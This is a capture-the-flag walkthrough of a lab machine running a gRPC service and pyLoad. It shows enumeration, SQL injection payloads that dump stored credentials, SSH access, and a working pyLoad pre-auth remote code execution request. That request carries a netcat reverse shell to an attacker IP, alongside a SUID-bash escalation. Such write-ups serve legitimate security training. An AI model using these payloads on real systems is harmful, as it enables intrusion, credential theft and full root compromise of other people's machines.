This machine doesn’t have a website to access. In the enumeration phase, we find a unknown open port. Once we find out what this port is associated with we can move further getting a foothold and escalate our privileges.
Enumeration
A normal nmap
scan didn’t provide much, so we add the -p-
option to scan all ports.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ nmap -sC -sV -Pn -p- -A -oN nmap_result 10.10.11.214
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 15:33 CEST
Nmap scan report for 10.10.11.214
Host is up (0.026s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91bf44edea1e3224301f532cea71e5ef (RSA)
| 256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_ 256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.93%I=7%D=5/23%Time=646CC125%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
After researching we find out the port 50051
is associated with gRPC.
gRPC is a high-performance open-source framework used for building distributed systems. It allows developers to define services and messages using protocol buffers, which can be used to generate client and server code in various programming languages. gRPC supports bi-directional streaming and provides features like load balancing, authentication, and error handling out of the box.
Foothold
After doing some research, we can find a bunch of tool to connect to a gRPC server. We are using gRPCurl and later on gRPCUI as the latter might display some information more clearly.
We try to connect, but we get an error.
1
2
$ ./grpcurl 10.10.11.214:50051
Failed to dial target host "10.10.11.214:50051": tls: first record does not look like a TLS handshake
The -plaintext
flag indicates that the communication should happen over plain-text instead of using secure TLS encryption. The list
command is used to retrieve a list of available gRPC services provided by the server.
1
2
3
4
5
6
7
$ ./grpcurl -plaintext 10.10.11.214:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection
$ ./grpcurl -plaintext 10.10.11.214:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo
When interacting with the getInfo
method of the SimpleApp
service we get an error mentioning we are missing a token
header.
1
2
3
4
$ ./grpcurl -plaintext 10.10.11.214:50051 SimpleApp/getInfo
{
"message": "Authorization Error.Missing 'token' header"
}
At this moment, I switched to gRPCUI
because it might be easier to setup and navigate but all this could have been accomplished with gRPCurl
as well.
1
2
$ ./grpcui -plaintext 10.10.11.214:50051
gRPC Web UI available at http://127.0.0.1:46799/
Via using the WebUI, we manage to login through default credentials.
We can now use the id
and token
we got after logging in to do a getInfo
request.
We get a “Will update soon message”.
After trying some paths, we catch the request through burp and tried to display the sqllite
version to see if the application is vulnerable to SQL injection.
SQL injection
SQLlite version check
Request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:46799
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: g-zfLPm2JYmG9OLqhKESGEgJ0nm9vorOtXiSr1RVx2M
X-Requested-With: XMLHttpRequest
Content-Length: 222
Origin: http://127.0.0.1:46799
Connection: close
Referer: http://127.0.0.1:46799/
Cookie: lang=en-US; _grpcui_csrf_token=g-zfLPm2JYmG9OLqhKESGEgJ0nm9vorOtXiSr1RVx2M
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{
"metadata": [
{
"name": "token",
"value": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ5MzA2ODZ9.agBwQmbZ56OaxHX0sbm7gbCvx-Hp-PFNxE3P4sD4Nbg"
}
],
"data": [
{
"id": "0 union select sqlite_version();"
}
]
}
Result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"headers": [
{
"name": "content-type",
"value": "application/grpc"
},
{
"name": "grpc-accept-encoding",
"value": "identity, deflate, gzip"
}
],
"error": null,
"responses": [
{
"message": {
"message": "3.31.1"
},
"isError": false
}
],
"requests": {
"total": 1,
"sent": 1
},
"trailers": []
}
SQLlite dump tables
We can now dump all the tables in the database.
Request
1
2
3
4
5
"data":[
{
"id":"0 union SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'"
}
]
Result
1
2
3
4
5
6
7
8
"responses": [
{
"message": {
"message": "accounts,messages"
},
"isError": false
}
]
SQLlite get columns
Getting the columns of the accounts
table.
Request
1
2
3
4
5
"data":[
{
"id":"0 union SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='accounts'"
}
]
Result
1
2
3
4
5
6
7
8
"responses": [
{
"message": {
"message": "CREATE TABLE \"accounts\" (\n\tusername TEXT UNIQUE,\n\tpassword TEXT\n)"
},
"isError": false
}
]
SQLlite get columns
Getting the values of the username
and password
columns from the table accounts
.
Request
1
"data":[{"id":"0 union SELECT group_concat(username || \":\" || password || \",\") from accounts"}]
Result
1
2
3
4
5
6
7
8
"responses": [
{
"message": {
"message": "admin:admin,,sau:He**REDACTED**31,,t**REDACTED**n:1**REDACTED**4,"
},
"isError": false
}
]
We can use the username and password we found to ssh
into the server.
1
2
3
4
5
$ ssh sau@10.10.11.214
sau@pc:~$ ls
user.txt
sau@pc:~$ cat user.txt
42d**REDACTED**1be
Privilege Escalation
Checking for open ports we noticed 8000
is open.
1
2
3
4
5
6
7
8
9
10
11
sau@pc:/tmp$ netstat -ntpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::50051 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
We tunnel port 8000
to our machine so we can access it.
1
$ ssh -L 8000:localhost:8000 sau@10.10.11.214
Port 8000
seems to be running pyload
.
PyLoad is a Python-based download manager that allows users to easily and efficiently manage and automate the downloading of files from various online sources.
When looking up exploits that exists in pyload
, we find an “pre-auth remote code execution”. By modifying the PoC payload, we managed to gain a root reverse shell.
The payload looks like:
1
2
3
curl -i -s -k -X $'POST' \
--data-binary $'jk=COMMAND_HERE";f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
-i
: Includes the response headers in the output.-s
: Silences the progress meter and other unnecessary output.-k
: Allows insecure connections by skipping SSL certificate verification.-X 'POST'
: Specifies that the request method is a POST.--data-binary $'...'
: Sets the request body data. The payload is provided in URL-encoded format.jk=COMMAND_HERE"
: This parameter sets the value of the “jk” parameter, which is susceptible to code injection.- The command we inject is a nc reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.64 1234 >/tmp/f
. This command needs to be URL encoded.
- The command we inject is a nc reverse shell
f=function%20f2(){};
: This code sets an empty function named “f2”. It is included to ensure that the payload syntax remains valid and doesn’t cause any errors due to undefined variables.&package=xxx&crypted=AAAA&&passwords=aaaa
: These parameters represent additional values included in the request. Their specific purpose may be application-specific and are not directly related to the payload.$'http://127.0.0.1:8000/flash/addcrypted2'
: Specifies the target URL where the request will be sent.
The payload allows an unauthenticated attacker to execute arbitrary Python code by abusing the functionality of the js2py
library used by pyLoad
. By sending a specially crafted request to the targeted endpoint (addcrypted2
), the attacker can inject Python code via the jk
parameter by using pyimport
as js2py
also supports importing any Python code from JavaScript using pyimport
statement, which is enabled by default. This all leads to remote code execution.
1
2
3
4
#rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.64 1234 >/tmp/f
$ curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.14.64%201234%20%3E%2Ftmp%2Ff\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
1
2
3
4
5
6
7
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.11.214] 41228
# whoami
root
# cat /root/root.txt
e0a**REDACTED**24a
Another path one could take is to add a SUID to /bin/bash
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# chmod u+s /bin/bash
$ curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"chmod%20u%2Bs%20%2Fbin%2Fbash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 21
Access-Control-Max-Age: 1800
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: OPTIONS, GET, POST
Vary: Accept-Encoding
Date: Wed, 24 May 2023 11:40:09 GMT
Server: Cheroot/8.6.0
Could not decrypt key
On the server, /bin/bash
now has the SUID set.
1
2
3
4
5
sau@pc:~$ ls -lah /bin/bash
-rwsr-xr-x 1 root root 1.2M Apr 18 2022 /bin/bash
sau@pc:~$ /bin/bash -p
bash-5.0# whoami
root